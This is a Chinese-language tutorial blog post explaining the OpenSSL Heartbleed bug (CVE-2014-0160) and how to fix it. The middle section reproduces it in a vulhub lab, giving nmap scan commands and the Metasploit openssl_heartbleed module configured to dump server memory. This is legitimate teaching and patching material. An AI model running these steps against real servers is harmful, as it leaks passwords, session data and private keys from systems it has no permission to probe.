日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

發布時間:2024/3/26 编程问答 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Heartbleed

心臟出血(英語:Heartbleed),也簡稱為心血漏洞,是一個出現在加密程序庫OpenSSL的安全漏洞,該程序庫廣泛用于實現互聯網的傳輸層安全(TLS)協議。它于2012年被引入了軟件中,2014年4月首次向公眾披露。只要使用的是存在缺陷的OpenSSL實例,無論是服務器還是客戶端,都可能因此而受到攻擊。此問題的原因是在實現TLS的心跳擴展時沒有對輸入進行適當驗證(缺少邊界檢查),因此漏洞的名稱來源于“心跳”(heartbeat)。該程序錯誤屬于緩沖區過濾,即可以讀取的數據比應該允許讀取的還多。HeartBleed主要存在與OpenSSL的1.0.1版本到1.0.1f版本。利用該漏洞,攻擊者可以遠程讀取服務器內存中64K的數據,獲取內存中的敏感信息。

漏洞描述

Heartbleed漏洞,這項嚴重缺陷(CVE-2014-0160)的產生是由于未能在memcpy()調用受害用戶輸入內容作為長度參數之前正確進行邊界檢查。攻擊者可以追蹤OpenSSL所分配的64KB緩存、將超出必要范圍的字節信息復制到緩存當中再返回緩存內容,這樣一來受害者的內存內容就會以每次64KB的速度進行泄露。

漏洞原理

OpenSSL“心臟出血”漏洞的問題出現在openSSL處理TLS心跳的過程中,TLS心跳的流程是:A向B發送請求包,B收到包后讀取這個包的內容(data),并返回一個包含有請求包內容的響應包。請求包的內容(data)中包含有包的類型(type)和數據長度等信息。
當B收到A的請求包后,并沒有的驗證A包的實際長度,而是簡單的把請求包data中說明的長度當作data的實際長度,于是當請求包中說明的長度與請求包數據實際長度不同時,問題就產生了。假設A構造一個請求包,它的實際內容長度只有1,而卻告訴B的它的長度是65535,那么B接受到這個包后就會把A的內容完全當作65535來處理,其實到這里,問題還并不嚴重,最嚴重的問題出在,心跳的響應包還需要附帶請求包的全部內容,這就需要程序做一次將請求包的數據從它所在的內存拷貝到響應包的內存里的操作。
這下就出大問題了,當拷貝的時候,程序認為A包的內容長度是65535個字節,結果A包在內存里面實際只有1個字節,于是程序不僅拷貝出了A包的內容,還“傻傻”地將A包數據在內存中位置后額外的65534個字節拷貝進了響應包里,并將這個響應包發還給了A,于是A便輕易地獲得了B內存中這65534個字節的數據。想象一下,如果這65534個字節數據中包括一些敏感信息,那么后果將非常嚴重。而且A還可以簡單地通過連續的發送心跳包,獲取B機器內存中n個65534字節的數據,這個漏洞不愧是2014年“最佳漏洞”。

影響版本

OpenSSL 1.0.1版本

漏洞復現

環境介紹

靶機:centos7 192.168.139.136
攻擊機:kali 192.168.139.129
確保兩臺測試機網絡能通

環境搭建

使用docker+vulhub搭建漏洞環境,在centos7上搭建vulhub的步驟如下:

  • 安裝docker依賴包
  • 命令:yum install -y yum-utils device-mapper-persistent-data lvm2

  • 安裝docker
  • 命令:yum install docker

  • 啟動docker(頁面沒有顯示)
  • 命令:systemctl start docker

  • centos7下安裝git
  • 命令:yum install -y git

  • 下載vulhub
  • git clone +下載地址
    命令:git clone https://github.com/vulhub/vulhub.git

  • 找到CVE-2014-0160,并進入,輸入命令docker-compose up -d運行漏洞環境
  • 命令:ls #查看所有漏洞目錄


    命令:cd openssl #進入該目錄
    ls


    命令:docker-compose up -d #運行漏洞環境

  • 查看運行情況
  • 命令:docker ps

    復現過程

    信息收集

    使用Nmap進行掃描

    命令:nmap -sV -T4 192.168.139.136

    使用Nmap漏洞掃描腳本對8443端口進行掃描檢測如下:

    命令:nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.139.136

    使用MSF框架攻擊

    進入msfconsole

    命令:msfconsole

    搜索相關漏洞模塊

    命令:search heartbleed

    使用攻擊模塊1

    命令:use auxiliary/scanner/ssl/openssl_heartbleed

    查看配置參數

    命令:show options

    配置參數

    對required為yes但是current setting為空的項進行設置,這里我們只需要設置rhosts(靶機ip)
    命令:set rhosts 192.168.139.136 #靶機ip
    set rport 8443 #設置端口
    set verbose true #設置verbose為true是為了 看到泄露的信息

    進行攻擊

    命令:run
    這里就可以看到 靶機的64KB信息了(如果有人此時在登錄web應用,還可以直接抓到賬號密碼等信息)。




    修復方案

    OpenSSL“心臟出血”漏洞(CVE-2014-0160)受影響的OpenSSL版本:
    OpenSSL 1.0.2-beta
    OpenSSL 1.0.1 - OpenSSL 1.0.1f
    要解決此漏洞,簡單粗暴的方法就是升級openSSL軟件。
    建議服務器管理員或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS選項重新編譯OpenSSL,從而禁用易受攻擊的功能,直至可以更新服務器軟件。

    1.將受影響的服務器下線,避免它繼續泄露敏感信息。
    2.停止舊版的 openssl 服務,升級 openssl 到新版本,并重新啟動。
    3.生成新密鑰。(因為攻擊者可能通過漏洞獲取私鑰。)將新密鑰提交給你的CA,獲得新的認證之后在服務器上安裝新密鑰。
    4.服務器上線。
    5.撤銷舊認證。
    6.撤銷現有的會話cookies。
    7.要求用戶修改密碼。
    Heartbleed 是在 8 年多前被發現并修補的,然而許多服務器仍然存在 Heartbleed 漏洞

    總結

    以上是生活随笔為你收集整理的OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。